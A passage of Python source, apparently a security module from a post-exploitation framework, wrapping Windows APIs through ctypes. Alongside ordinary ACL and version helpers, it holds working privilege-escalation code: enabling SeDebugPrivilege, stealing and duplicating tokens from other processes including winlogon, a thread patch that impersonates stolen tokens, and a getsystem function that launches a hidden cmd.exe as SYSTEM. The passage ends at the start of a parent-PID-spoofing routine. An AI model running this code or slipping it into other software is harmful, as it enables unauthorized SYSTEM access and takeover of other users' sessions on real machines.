                    'ClientBuildNumber': _info[0].ClientBuildNumber,
                    'ClientProductId': _info[0].ClientProductId,
                    'DeviceIdD': mkzstring(_info[0].DeviceId)
                }

                del _info
            finally:
                WTSFreeMemory(info)

            if WTSQuerySessionInformationW(
                None, session_id, WTSSessionInfo,
                    byref(info), byref(dwSize)) == 0:
                raise WinError(get_last_error())

            try:
                _info = cast(info, PWTSINFOW)
                session_infos[station]['info'] = {
                    'Domain': mkzstring(_info[0].Domain),
                    'UserName': mkzstring(_info[0].UserName),
                    'WinStationName': mkzstring(_info[0].WinStationName),
                    'ConnectTime': FileTimeToUnix(_info[0].ConnectTime),
                    'DisconnectTime': FileTimeToUnix(_info[0].DisconnectTime),
                    'LastInputTime': FileTimeToUnix(_info[0].LastInputTime),
                    'LogonTime': FileTimeToUnix(_info[0].LogonTime),
                    'CurrentTime': FileTimeToUnix(_info[0].CurrentTime),
                }

                del _info
            finally:
                WTSFreeMemory(info)

        return session_infos


except (WindowsError, AttributeError):
    # Unsupported
    def EnumerateWTS():
        raise NotImplementedError('WTS Enumeration not implemented')

try:
    InitializeProcThreadAttributeList = \
        kernel32.InitializeProcThreadAttributeList
    InitializeProcThreadAttributeList.restype = BOOL
    InitializeProcThreadAttributeList.argtypes = [
        PVOID, DWORD, DWORD, POINTER(SIZE_T)
    ]

    UpdateProcThreadAttribute = kernel32.UpdateProcThreadAttribute
    UpdateProcThreadAttribute.restype = BOOL
    UpdateProcThreadAttribute.argtypes = [
        PVOID, DWORD, PVOID, PVOID, SIZE_T, PVOID, POINTER(SIZE_T)
    ]

    DeleteProcThreadAttributeList = kernel32.DeleteProcThreadAttributeList
    DeleteProcThreadAttributeList.restype = BOOL
    DeleteProcThreadAttributeList.argtypes = [
        PVOID
    ]

except AttributeError:
    # Windows XP, ignore
    pass


# ntdll
RtlGetVersion = ntdll.RtlGetVersion
RtlGetVersion.restype = DWORD
RtlGetVersion.argtypes = [
    POSVERSIONINFOEXW
]

# shell32

IsUserAnAdmin = shell32.IsUserAnAdmin
IsUserAnAdmin.restype = BOOL
IsUserAnAdmin.argtypes = []

# userenv

CREATE_NEW_CONSOLE = 0x00000010
CREATE_UNICODE_ENVIRONMENT = 0x00000400
NORMAL_PRIORITY_CLASS = 0x00000020

CreateEnvironmentBlock = userenv.CreateEnvironmentBlock
CreateEnvironmentBlock.restype = BOOL
CreateEnvironmentBlock.argtypes = [
    POINTER(c_void_p), HANDLE, c_int
]

DestroyEnvironmentBlock = userenv.DestroyEnvironmentBlock
DestroyEnvironmentBlock.argtypes = [
    c_void_p
]

# various

ERROR_SUCCESS = 0
ERROR_INSUFFICIENT_BUFFER = 122
ERROR_ACCESS_DENIED = 5
ERROR_INVALID_PARAMETER = 87
ERROR_NOT_ALL_ASSIGNED = 1300
ERROR_NO_TOKEN = 1008


def EnumerateLogonSessions():
    uids = PVOID()
    uids_cnt = ULONG()

    status = LsaEnumerateLogonSessions(byref(uids_cnt), byref(uids))
    if status != 0:
        raise WinError(LsaNtStatusToWinError(status))

    sessions = []

    try:
        for pluid in cast(uids, POINTER(LUID*uids_cnt.value)).contents:
            session = PSECURITY_LOGON_SESSION_DATA()
            try:
                status = LsaGetLogonSessionData(pluid, byref(session))
                if status != 0:
                    raise WinError(LsaNtStatusToWinError(status))

                content = session.contents

                sessions.append({
                    'user': content.UserName.Buffer,
                    'domain': content.LogonDomain.Buffer,
                    'auth': content.AuthenticationPackage.Buffer,
                    'type': LOGON_TYPE[content.LogonType],
                    'session': content.Session,
                    'sid': strsid(content.Sid),
                    'logon': FileTimeToUnix(content.LogonTime),
                    'server': content.LogonServer.Buffer,
                    'dns': content.DnsDomainName.Buffer,
                    'upn': content.Upn.Buffer,
                    'flags': LsaSessionDataFlagsToStr(content.UserFlags),
                    'logon-info': {
                        'success': FileTimeToUnix(
                            content.LastLogonInfo.LastSuccessfulLogon),
                        'failed':  FileTimeToUnix(
                            content.LastLogonInfo.LastFailedLogon),
                        'attempts': content.LastLogonInfo.
                        FailedAttemptCountSinceLastSuccessfulLogon,
                    },
                    'profile': content.ProfilePath.Buffer,
                    'home': content.HomeDirectory.Buffer,
                    'drive': content.HomeDirectoryDrive.Buffer,
                    'logoff': FileTimeToUnix(content.LogoffTime),
                    'kickoff': FileTimeToUnix(content.KickOffTime),
                    'password': {
                        'last': FileTimeToUnix(content.PasswordLastSet),
                        'changable': FileTimeToUnix(content.PasswordCanChange),
                        'change': FileTimeToUnix(content.PasswordMustChange)
                    }
                })

            finally:
                LsaFreeReturnBuffer(session)

    finally:
        LsaFreeReturnBuffer(uids)

    return sessions


def GetUserName():
    nSize = DWORD(0)
    GetUserNameW(None, byref(nSize))
    error = GetLastError()

    if error and error != ERROR_INSUFFICIENT_BUFFER:
        raise WinError(error)

    lpBuffer = create_unicode_buffer('', nSize.value + 1)

    if not GetUserNameW(lpBuffer, byref(nSize)):
        raise WinError(get_last_error())

    return lpBuffer.value


def GetTokenSid(hToken, exc=True):

    """Retrieve SID from Token"""

    dwSize = DWORD(0)
    pStringSid = LPSTR()
    TokenUser = 1

    if not GetTokenInformation(
            hToken, TokenUser, byref(TOKEN_USER()), 0, byref(dwSize)):
        error = get_last_error()
        if error != ERROR_INSUFFICIENT_BUFFER:
            if exc:
                raise WinError(error)

            return None

    address = create_string_buffer(dwSize.value)
    sid = None
    if GetTokenInformation(hToken, TokenUser, address, dwSize, byref(dwSize)):
        pToken_User = cast(address, POINTER(TOKEN_USER))
        ConvertSidToStringSidA(
            pToken_User.contents.User.Sid, byref(pStringSid)
        )
        sid = pStringSid.value
    else:
        if exc:
            raise WinError(get_last_error())

    return sid


def EnablePrivilege(privilegeStr, hToken=None, exc=True):

    """
    Enable Privilege on token, if no token is given the
    function gets the token of the current process.
    """

    close_hToken = False

    if isinstance(privilegeStr, str) and not isinstance(privilegeStr, bytes):
        privilege = privilegeStr.encode('latin1')
    else:
        privilege = str(privilegeStr)

    if hToken is None:
        hToken = HANDLE(INVALID_HANDLE_VALUE)
        hProcess = OpenProcess(
            PROCESS_QUERY_INFORMATION, False, GetCurrentProcessId()
        )

        if not hProcess:
            raise WinError(get_last_error())

        dwError = None

        if not OpenProcessToken(
            hProcess, (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY),
                byref(hToken)):
            dwError = get_last_error()

        CloseHandle(hProcess)

        if dwError:
            raise WinError(dwError)

        close_hToken = True

    bSuccess = False

    try:
        privilege_id = LUID()
        if not LookupPrivilegeValueA(None, privilege, byref(privilege_id)):
            raise WinError(get_last_error())

        SE_PRIVILEGE_ENABLED = 0x00000002
        laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED)
        tp = TOKEN_PRIVILEGES(1, laa)

        if AdjustTokenPrivileges(
                hToken, False, byref(tp), sizeof(tp), None, None):
            error = get_last_error()
            if error == ERROR_SUCCESS:
                bSuccess = True
            elif exc:
                if error == ERROR_NOT_ALL_ASSIGNED:
                    raise ValueError(
                        error,
                        'Could not set {} (access denied)'.format(privilege)
                    )
                else:
                    raise WinError(error)
        elif exc:
            WinError(get_last_error())

    finally:
        if close_hToken:
            CloseHandle(hToken)

    return bSuccess


def ListSids(exc=False):
    sids = []

    for proc in psutil.process_iter():
        try:
            pinfo = proc.as_dict(attrs=['pid', 'username', 'name'])
        except psutil.NoSuchProcess:
            pass

        pid = int(pinfo['pid'])

        if pid <= 4:
            continue

        if pinfo['username'] is None:
            continue

        hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
        if not hProcess:
            error = get_last_error()
            if exc and error not in (
                    ERROR_INVALID_PARAMETER, ERROR_ACCESS_DENIED):
                # Process exited, dead, whatever
                raise WinError(get_last_error())

            continue

        hToken = HANDLE(INVALID_HANDLE_VALUE)

        bTokenOk = OpenProcessToken(hProcess, tokenprivs, byref(hToken))
        error = get_last_error()

        CloseHandle(hProcess)

        if not bTokenOk:
            if error == ERROR_ACCESS_DENIED:
                continue

            if exc:
                raise WinError(error)

            continue

        try:
            sid = GetTokenSid(hToken, exc)
        finally:
            CloseHandle(hToken)

        if sid is None:
            continue

        sids.append((
            pinfo['pid'],
            try_as_unicode_string(pinfo['name'], fail=False),
            try_as_unicode_string(sid, fail=False),
            try_as_unicode_string(pinfo['username'], fail=False)
        ))

    return list(sids)


def getProcessToken(pid):
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
    if not hProcess:
        raise WinError(get_last_error())

    hToken = HANDLE(INVALID_HANDLE_VALUE)
    dwError = None

    if not OpenProcessToken(hProcess, tokenprivs, byref(hToken)):
        dwError = get_last_error()

    CloseHandle(hProcess)

    if dwError:
        raise WinError(dwError)

    return hToken


def get_thread_token():
    hThread = GetCurrentThread()
    hToken = HANDLE(INVALID_HANDLE_VALUE)
    dwError = None

    if not OpenThreadToken(hThread, tokenprivs, False, byref(hToken)):
        dwError = get_last_error()

    CloseHandle(hThread)

    if dwError:
        if dwError == ERROR_NO_TOKEN:
            return get_process_token()
        raise WinError(dwError)

    return hToken


def get_process_token():
    """
    Get the current process token
    """

    token = HANDLE()
    if not OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token):
        raise WinError(get_last_error())

    return token


def gethTokenFromPid(pid, exc=True):
    hToken = HANDLE(INVALID_HANDLE_VALUE)

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid))
    if not hProcess:
        if exc:
            raise WinError(get_last_error())
        else:
            return None

    dwError = None
    if not OpenProcessToken(hProcess, tokenprivs, byref(hToken)):
        dwError = get_last_error()

    CloseHandle(hProcess)

    if dwError:
        if exc:
            raise WinError(dwError)
        else:
            return None

    return hToken


IMPERSONATION_TOKENS = {}


def ListCachedSids():
    return tuple(
        (sid, username) for sid, (username, value)
        in IMPERSONATION_TOKENS.items()
    )


def getSidToken(token_sid):
    if token_sid in IMPERSONATION_TOKENS:
        return IMPERSONATION_TOKENS[token_sid][1]

    EnablePrivilege("SeDebugPrivilege", exc=False)

    # trying to get system privileges
    for (pid, name, sid, username) in ListSids():
        if token_sid == SID_SYSTEM:
            if 'winlogon' not in name.lower():
                continue

        elif token_sid != sid:
            continue

        hToken = gethTokenFromPid(pid, exc=True)
        # hToken = gethTokenFromPid(pid, exc=False)
        if not hToken:
            continue

        IMPERSONATION_TOKENS[token_sid] = username, hToken
        return hToken


def impersonate_pid(pid, close=True):
    EnablePrivilege("SeDebugPrivilege")

    hToken = getProcessToken(pid)
    if not hToken:
        return None

    hTokendupe = impersonate_token(hToken)

    if close and hTokendupe:
        CloseHandle(hTokendupe)

    CloseHandle(hToken)

    return hTokendupe


def impersonate_sid(sid, close=True):

    if not sid.startswith('S-1-'):
        sid = sidbyname(sid)
        if not sid:
            raise ValueError('Unknown username {}'.format(sid.encode('utf-8')))

    hToken = getSidToken(sid)
    if not hToken:
        raise ValueError('Could not get token for SID {}'.format(sid))

    hTokendupe = impersonate_token(hToken)
    if close and hTokendupe:
        CloseHandle(hTokendupe)

    # Cached by getSidToken
    # CloseHandle(hToken)

    if not hTokendupe:
        raise ValueError('Could not impersonate token for SID {}'.format(sid))

    return hTokendupe


global_ref = None


if not hasattr(Thread, '__impersonate_patch'):
    setattr(
        Thread, '_bootstrap_inner_original',
        Thread._bootstrap_inner
    )

    def _bootstrap_inner_patched(self):
        try:
            from pupwinutils.security import global_ref

            if global_ref:
                ImpersonateLoggedOnUser(global_ref)
                setattr(self, 'impersonated', global_ref)

        except ImportError:
            pass

        self.__class__._bootstrap_inner_original(self)

    setattr(Thread, '_bootstrap_inner', _bootstrap_inner_patched)
    setattr(Thread, '__impersonate_patch', True)


def impersonate_sid_long_handle(*args, **kwargs):
    global global_ref

    hTokendupe = impersonate_sid(*args, **kwargs)
    if not hTokendupe:
        return None

    try:
        if global_ref is not None:
            CloseHandle(global_ref)
    except Exception:
        pass

    global_ref = hTokendupe
    return addressof(hTokendupe)


def impersonate_pid_long_handle(*args, **kwargs):
    global global_ref

    hTokendupe = impersonate_pid(*args, **kwargs)
    if not hTokendupe:
        return None

    try:
        if global_ref is not None:
            CloseHandle(global_ref)
    except Exception:
        pass

    global_ref = hTokendupe
    return addressof(hTokendupe)


def impersonate_token(hToken):
    EnablePrivilege('SeDebugPrivilege', exc=False)
    EnablePrivilege('SeImpersonatePrivilege', exc=False)

    hTokendupe = HANDLE(INVALID_HANDLE_VALUE)

    SecurityImpersonation = 2
    TokenPrimary = 1

    if not DuplicateTokenEx(
        hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation,
            TokenPrimary, byref(hTokendupe)):
        raise WinError(get_last_error())

    try:
        EnablePrivilege(
            'SeAssignPrimaryTokenPrivilege', hToken=hTokendupe, exc=False
        )
        EnablePrivilege(
            'SeIncreaseQuotaPrivilege', hToken=hTokendupe, exc=False
        )

        if not ImpersonateLoggedOnUser(hTokendupe):
            raise WinError(get_last_error())

    except Exception:
        CloseHandle(hTokendupe)
        raise

    return hTokendupe


def isSystem():
    sids = ListSids()
    current_pid = os.getpid()

    for pid, _, sid in sids:
        if pid == current_pid:
            return sid == SID_SYSTEM


def token_impersonated_as_system(hToken):
    return GetTokenSid(hToken) == SID_SYSTEM


def create_proc_as_sid(sid, prog='cmd.exe', attributes=None, lpInfo=False):
    if not sid.startswith('S-1-'):
        sid = sidbyname(sid)
        if not sid:
            raise ValueError(
                'Unknown username {}'.format(as_native_string(sid))
            )

    hTokendupe = impersonate_sid(sid, close=False)

    try:
        vResult = start_proc_with_token(
            [prog], hTokendupe,
            attributes=attributes,
            lpInfo=lpInfo
        )
    finally:
        CloseHandle(hTokendupe)

    return vResult


def getsystem(prog='cmd.exe'):
    return create_proc_as_sid(SID_SYSTEM, prog=prog)


class StartupInfoAttribute(object):
    __slots__ = (
        'attribute', 'value'
    )

    def __init__(self,  attribute, value):
        self.attribute = attribute
        self.value = value


def start_proc_with_token(
    args, hTokendupe=None, hidden=True,
        application=None, attributes=None, lpInfo=False,
        flags=0, stdout=None, stdin=None, stderr=None,
        inherit_handles=False):

    # Start the process with the token

    lpProcessInformation = PROCESS_INFORMATION()
    lpStartupInfo = None
    dwCreationflag = flags or (
        NORMAL_PRIORITY_CLASS |
        CREATE_NEW_PROCESS_GROUP
    )

    if attributes:
        lpStartupInfo = STARTUPINFOEX()
        lpStartupInfo.setAttributes(attributes)

        dwCreationflag |= EXTENDED_STARTUPINFO_PRESENT
    else:
        lpStartupInfo = STARTUPINFOW()

    if any(x is not None for x in (stdout, stdin, stderr)):
        lpStartupInfo.dwFlags |= STARTF_USESTDHANDLES
        lpStartupInfo.hStdInput = stdin
        lpStartupInfo.hStdOutput = stdout
        lpStartupInfo.hStdError = stderr
        inherit_handles = True

    if hidden:
        dwCreationflag |= CREATE_NO_WINDOW
        lpStartupInfo.dwFlags |= STARTF_USESHOWWINDOW
        lpStartupInfo.wShowWindow = SW_HIDE

    if args is not None:
        if isinstance(args, (list, tuple)):
            args = ' '.join(
                try_as_unicode_string(arg, fail=False)
                for arg in args if arg is not None
            )
        else:
            args = try_as_unicode_string(args)

    if application is not None:
        application = try_as_unicode_string(application, fail=False)

    if hTokendupe is None and global_ref is not None:
        hTokendupe = global_ref

    if hTokendupe is not None:
        cenv = c_void_p()
        dwCreationflag |= CREATE_UNICODE_ENVIRONMENT

        if not CreateEnvironmentBlock(byref(cenv), hTokendupe, 0):
            raise WinError(get_last_error())

        try:
            if not CreateProcessAsUser(
                hTokendupe, application, args, None, None, inherit_handles,
                dwCreationflag, cenv, None,
                    byref(lpStartupInfo), byref(lpProcessInformation)):
                raise WinError(get_last_error())
        finally:
            DestroyEnvironmentBlock(cenv)

    else:
        if not CreateProcessW(
            application, args, None, None, inherit_handles,
            dwCreationflag, None, None,
                byref(lpStartupInfo), byref(lpProcessInformation)):
            raise WinError(get_last_error())

    if lpInfo:
        return lpProcessInformation
    else:
        CloseHandle(lpProcessInformation.hProcess)
        CloseHandle(lpProcessInformation.hThread)
        return lpProcessInformation.dwProcessId


def rev2self():
    global global_ref

    RevertToSelf()

    if global_ref is not None:
        CloseHandle(global_ref)

    global_ref = None


def get_currents_privs():
    '''
    Get all privileges associated with the current process.
    '''
    dwSize = DWORD()
    hToken = get_process_token()

    try:
        if not GetTokenInformation(
            hToken, TOKEN_INFORMATION_CLASS.TokenPrivileges,
                None, 0, byref(dwSize)):

            error = get_last_error()
            if error != ERROR_INSUFFICIENT_BUFFER:
                raise WinError(error)

        cBuffer = create_string_buffer(dwSize.value)
        if not GetTokenInformation(
            hToken, TOKEN_INFORMATION_CLASS.TokenPrivileges,
                cBuffer, dwSize.value, byref(dwSize)):
            raise WinError(get_last_error())

    finally:
        CloseHandle(hToken)

    privs = tuple(
        (x.get_name(), x.is_enabled()) for x in cast(
            cBuffer, POINTER(TOKEN_PRIVS)).contents
    )

    return privs


def can_get_admin_access():
    """
    Check if the user may be able to get administrator access.
    Returns True if the user is in the administrator's group.
    Otherwise returns False
    """

    SECURITY_MAX_SID_SIZE = 68
    WinBuiltinAdministratorsSid = 26
    ERROR_NO_SUCH_LOGON_SESSION = 1312
    ERROR_PRIVILEGE_NOT_HELD = 1314
    TokenLinkedToken = 19

    # On XP or lower this is equivalent to has_root()
    # Note: sys.getwindowsversion() does work on every system

    if sys.getwindowsversion()[0] < 6:
        return bool(IsUserAnAdmin())

    # On Vista or higher, there's the whole UAC token-splitting thing.
    # Many thanks for Junfeng Zhang for the workflow:
    # htttp://blogs.msdn.com/junfeng/archive/2007/01/26/
    # how-to-tell-if-the-current-user-is-in-administrators-group-programmatically.aspx

    # Get the token for the current process.
    proc = GetCurrentProcess()

    try:
        token = HANDLE()
        OpenProcessToken(proc, TOKEN_QUERY, byref(token))

        try:
            # Get the administrators SID.

            sid = create_string_buffer(SECURITY_MAX_SID_SIZE)
            sz = DWORD(SECURITY_MAX_SID_SIZE)
            target_sid = WinBuiltinAdministratorsSid
            CreateWellKnownSid(target_sid, None, byref(sid), byref(sz))

            # Check whether the token has that SID directly.

            has_admin = BOOL()
            CheckTokenMembership(None, byref(sid), byref(has_admin))

            if has_admin.value:
                return True

            # Get the linked token.  Failure may mean no linked token.
            lToken = HANDLE()

            try:
                cls = TokenLinkedToken
                GetTokenInformation(
                    token, cls, byref(lToken), sizeof(lToken), byref(sz)
                )
            except WindowsError as e:
                if e.winerror == ERROR_NO_SUCH_LOGON_SESSION:
                    return False
                elif e.winerror == ERROR_PRIVILEGE_NOT_HELD:
                    return False
                else:
                    raise

            # Check if the linked token has the admin SID
            try:
                CheckTokenMembership(lToken, byref(sid), byref(has_admin))
                return bool(has_admin.value)

            finally:
                CloseHandle(lToken)

        finally:
            CloseHandle(token)

    except Exception as e:
        return None

    finally:
        try:
            CloseHandle(proc)
        except Exception as e:
            pass


# return string with major.minor version
def get_windows_version():
    os_version = OSVERSIONINFOEXW()
    os_version.dwOSVersionInfoSize = sizeof(os_version)
    retcode = RtlGetVersion(byref(os_version))
    if retcode != 0:
        return False

    return {
        'major_version': os_version.dwMajorVersion.real,
        'minor_version': os_version.dwMinorVersion.real,
        'build_number': os_version.dwBuildNumber.real
    }


def access(path, mode):
    requested_information = OWNER_SECURITY_INFORMATION | \
        GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION

    dwSize = DWORD(0)
    hToken = HANDLE()
    access_desired = 0

    path = try_as_unicode_string(path)

    attributes = GetFileAttributesW(path)

    if attributes == INVALID_FILE_ATTRIBUTES:
        return False

    if mode == os.F_OK:
        return True

    if (mode & W_OK) and (attributes & FILE_ATTRIBUTE_READONLY) and \
            not (attributes & FILE_ATTRIBUTE_DIRECTORY):
        return False

    success = GetFileSecurityW(
        path, requested_information, c_void_p(0), 0, byref(dwSize)
    )

    if not success and get_last_error() != ERROR_INSUFFICIENT_BUFFER:
        return False

    pSDBuf = create_string_buffer(dwSize.value)
    can_read_access = GetFileSecurityW(
        path, requested_information, pSDBuf,
        dwSize, byref(dwSize))

    if not can_read_access:
        return False

    if not IsValidSecurityDescriptor(pSDBuf):
        return False

    is_access_granted = False

    if not OpenProcessToken(
        GetCurrentProcess(),
        TOKEN_IMPERSONATE | TOKEN_QUERY |
            TOKEN_DUPLICATE | STANDARD_RIGHTS_READ, byref(hToken)):

        return False

    hImpersonatedToken = HANDLE()

    if not DuplicateToken(
            hToken, SecurityImpersonation, byref(hImpersonatedToken)):
        CloseHandle(hToken)
        return False

    access_desired = 0

    mapping = GENERIC_MAPPING()

    if (mode & X_OK):
        access_desired |= FILE_EXECUTE
    if (mode & R_OK):
        access_desired |= FILE_READ_DATA
    if (mode & W_OK):
        access_desired |= FILE_WRITE_DATA

    mapping.GenericRead = FILE_READ_DATA
    mapping.GenericWrite = FILE_WRITE_DATA
    mapping.GenericExecute = FILE_EXECUTE
    mapping.GenericAll = FILE_ALL_ACCESS

    access_desired = DWORD(access_desired)

    MapGenericMask(byref(access_desired), byref(mapping))

    ps = PRIVILEGE_SET_HEADER()
    pps = byref(ps)
    pps_size = DWORD(sizeof(ps))
    access_granted = DWORD(0)
    is_access_granted_bool = BOOL(False)

    if not AccessCheck(
        pSDBuf, hImpersonatedToken, access_desired, byref(mapping),
        pps, byref(pps_size), byref(access_granted),
            byref(is_access_granted_bool)):

        if get_last_error() == ERROR_INSUFFICIENT_BUFFER:
            pps = create_string_buffer(pps_size.value)

        AccessCheck(
            pSDBuf, hImpersonatedToken, access_desired,
            byref(mapping), pps, byref(pps_size), byref(access_granted),
            byref(is_access_granted_bool)
        )

    is_access_granted = bool(is_access_granted_bool)

    CloseHandle(hImpersonatedToken)
    CloseHandle(hToken)

    return is_access_granted


def strsid(sid, exc=True):
    if not sid:
        return None

    StringSid = LPTSTR()

    if ConvertSidToStringSidA(sid, byref(StringSid)):
        sid = str(StringSid.value)
        return sid

    if not exc:
        return None

    raise WinError(get_last_error())


def namebysid(sid, domain=None):
    Name = LPWSTR()
    cbName = DWORD(0)

    ReferencedDomainName = LPWSTR()
    cchReferencedDomainName = DWORD(0)

    peUse = DWORD(0)

    if LookupAccountSidW(
        domain, sid, Name, byref(cbName), ReferencedDomainName,
        byref(cchReferencedDomainName), byref(peUse)) or \
        get_last_error() != ERROR_INSUFFICIENT_BUFFER or cbName.value <= 0 or \
            cchReferencedDomainName.value <= 0:
        return '', ''

    Name = create_unicode_buffer(cbName.value)
    ReferencedDomainName = create_unicode_buffer(cchReferencedDomainName.value)

    if not LookupAccountSidW(
        domain, sid, Name, byref(cbName), ReferencedDomainName,
            byref(cchReferencedDomainName), byref(peUse)):
        raise WinError(get_last_error())

    if Name.value == 'None':
        return '', ''

    return Name.value, ReferencedDomainName.value


def sidbyname(name, domain=None):
    name = try_as_unicode_string(name)

    Sid = PSID()
    cbSid = DWORD(0)

    ReferencedDomainName = LPWSTR()
    cchReferencedDomainName = DWORD(0)

    peUse = DWORD(0)

    if LookupAccountNameW(
        domain, name, Sid, byref(cbSid), ReferencedDomainName,
        byref(cchReferencedDomainName), byref(peUse)) or \
        get_last_error() != ERROR_INSUFFICIENT_BUFFER or cbSid.value <= 0 or \
            cchReferencedDomainName.value <= 0:
        return None

    Sid = create_string_buffer(cbSid.value)
    ReferencedDomainName = create_unicode_buffer(cchReferencedDomainName.value)

    if not LookupAccountNameW(
        domain, name, Sid, byref(cbSid), ReferencedDomainName,
            byref(cchReferencedDomainName), byref(peUse)):
        raise WinError(get_last_error())

    return strsid(Sid)


def _getfileinfo(path, requested_information=0):
    path = try_as_unicode_string(path)

    requested_information |= \
        OWNER_SECURITY_INFORMATION | \
        GROUP_SECURITY_INFORMATION

    dwSize = DWORD(0)

    success = GetFileSecurityW(
        path, requested_information, c_void_p(0), 0, byref(dwSize)
    )

    if not success and get_last_error() != ERROR_INSUFFICIENT_BUFFER:
        raise WinError(get_last_error())

    pSDBuf = create_string_buffer(dwSize.value)
    can_read_access = GetFileSecurityW(
        path, requested_information, pSDBuf,
        dwSize, byref(dwSize))

    if not can_read_access:
        raise WinError(get_last_error())

    if not IsValidSecurityDescriptor(pSDBuf):
        raise WinError(get_last_error())

    GSid = PSID()
    USid = PSID()
    bDefault = BOOL()

    if GetSecurityDescriptorOwner(pSDBuf, byref(USid), byref(bDefault)) and \
            GetSecurityDescriptorGroup(pSDBuf, byref(GSid), byref(bDefault)):
        return pSDBuf, USid, GSid

    raise WinError(get_last_error())


def getfileowner(path, as_sid=True):
    pSDBuf, USid, GSid = _getfileinfo(path)

    if as_sid:
        return strsid(USid), strsid(GSid)
    else:
        return namebysid(USid), namebysid(GSid)

    raise WinError(get_last_error())


# https://stackoverflow.com/questions/34698927/
# python-get-windows-folder-acl-permissions

class Ace(object):
    __slots__ = (
        'ace_type', 'flags', 'mask', 'mapped_mask', 'trustee'
    )

    def __init__(self, ace_type, flags, mask, trustee):
        self.ace_type = ace_type
        self.flags = flags
        self.mask = mask
        self.trustee = trustee
        self.mapped_mask = self._map_generic(mask)

    @staticmethod
    def _map_generic(mask):
        if _bit(mask, GENERIC_READ):
            mask = (mask & ~GENERIC_READ) | FILE_GENERIC_READ
        if _bit(mask, GENERIC_WRITE):
            mask = (mask & ~GENERIC_WRITE) | FILE_GENERIC_WRITE
        if _bit(mask, GENERIC_EXECUTE):
            mask = (mask & ~GENERIC_EXECUTE) | FILE_GENERIC_EXECUTE
        if _bit(mask, GENERIC_ALL):
            mask = (mask & ~GENERIC_ALL) | FILE_ALL_ACCESS
        return mask

    def inherited(self):          # I
        return _bit(self.flags, INHERITED_ACE)

    def object_inherit(self):     # OI
        return _bit(self.flags, OBJECT_INHERIT_ACE)

    def container_inherit(self):  # CI
        return _bit(self.flags, CONTAINER_INHERIT_ACE)

    def inherit_only(self):       # IO
        return _bit(self.flags, INHERIT_ONLY_ACE)

    def no_propagate(self):       # NP
        return _bit(self.flags, NO_PROPAGATE_INHERIT_ACE)

    def no_access(self):          # N
        return self.mapped_mask == 0

    def full_access(self):        # F
        return _bit(self.mapped_mask, FILE_ALL_ACCESS)

    def modify_access(self):      # M
        return _bit(self.mapped_mask, FILE_MODIIFY_ACCESS)

    def read_exec_access(self):   # RX
        return _bit(self.mapped_mask, FILE_READ_EXEC_ACCESS)

    def read_only_access(self):   # R
        return _bit(self.mapped_mask, FILE_GENERIC_READ)

    def write_only_access(self):  # W
        return _bit(self.mapped_mask, FILE_GENERIC_WRITE)

    def delete_access(self):      # D
        return _bit(self.mapped_mask, FILE_DELETE_ACCESS)

    def get_file_rights(self):
        if self.no_access():
            return ['N']

        if self.full_access():
            return ['F']

        if self.modify_access():
            return ['M']

        if self.read_exec_access():
            return ['RX']

        if self.read_only_access():
            return ['R']

        if self.write_only_access():
            return ['W']

        if self.delete_access():
            return ['D']

        rights = []

        for right, name in (
            (DELETE, 'DE'), (READ_CONTROL, 'RC'),
            (WRITE_DAC, 'WDAC'), (WRITE_OWNER, 'WO'),
            (SYNCHRONIZE, 'S'), (ACCESS_SYSTEM_SECURITY, 'AS'),
            (GENERIC_READ, 'GR'), (GENERIC_WRITE, 'GW'),
            (GENERIC_EXECUTE, 'GE'), (GENERIC_ALL, 'GA'),
            (FILE_READ_DATA, 'RD'), (FILE_WRITE_DATA, 'WD'),
            (FILE_APPEND_DATA, 'AD'), (FILE_READ_EA, 'REA'),
            (FILE_WRITE_EA, 'WEA'), (FILE_EXECUTE, 'X'),
            (FILE_DELETE_CHILD, 'DC'),
            (FILE_READ_ATTRIBUTES, 'RA'),
                (FILE_WRITE_ATTRIBUTES, 'WA')):

            if _bit(self.mask, right):
                rights.append(name)

        return rights

    def granted_access(self, mask):
        return _bit(self.mapped_mask, self._map_generic(mask))

    def __str__(self):
        access = []

        if self.ace_type == ACCESS_DENIED_ACE_TYPE:
            access.append('{DENY}')
        elif self.ace_type == SYSTEM_AUDIT_ACE_TYPE:
            access.append('{AUDIT}')
        elif self.ace_type == SYSTEM_ALARM_ACE_TYPE:
            access.append('{ALARM}')

        if self.inherited():
            access.append('(I)')

        if self.object_inherit():
            access.append('(OI)')

        if self.container_inherit():
            access.append('(CI)')

        if self.inherit_only():
            access.append('(IO)')

        if self.no_propagate():
            access.append('(NP)')

        access.append('(%s)' % ','.join(self.get_file_rights()))

        return '%s: %s' % (self.trustee, ''.join(access))


def getfileowneracls(path):
    infos = []

    path = try_as_unicode_string(path)

    requested_information = OWNER_SECURITY_INFORMATION | \
        GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION

    pSDBuf, USid, GSid = _getfileinfo(path, requested_information)

    if USid and GSid:
        owner_sid = strsid(USid)
        group_sid = strsid(GSid)

        owner_name, owner_domain = namebysid(USid)
        group_name, group_domain = namebysid(GSid)

        owner = owner_sid, owner_name, owner_domain
        group = group_sid, group_name, group_domain

        infos.append(owner)
        infos.append(group)

    if not pSDBuf:
        return

    pACL = c_void_p()
    bDaclPresent = BOOL()
    bDaclDefaulted = BOOL(True)

    if not GetSecurityDescriptorDacl(
        pSDBuf, byref(bDaclPresent),
            byref(pACL), byref(bDaclDefaulted)):
        raise WinError(get_last_error())

    if not bDaclPresent:
        infos.append(None)
        return infos

    ACLs = []

    i = 0
    while pACL and True:
        ace = PACCESS_ALLOWED_ACE()
        if not GetAce(pACL, i, byref(ace)):
            break

        ace = ace.contents
        sid = byref(ace, ACCESS_ALLOWED_ACE.SidStart.offset)

        name, domain = namebysid(sid)
        sid = strsid(sid)
        trustee = sid

        if name:
            if domain:
                trustee = '{}\\{} ({})'.format(
                    domain, name, sid
                )
            else:
                trustee = '{} ({})'.format(
                    name, sid
                )

        ace = Ace(ace.Header.AceType, ace.Header.AceFlags, ace.Mask, trustee)
        ACLs.append(ace)

        i += 1

    infos.append(ACLs)
    return infos


def create_new_process_from_ppid(ppid, cmd):
    """
    Create new process as SYSTEM via Handle Inheritance specifying
    privileged parent
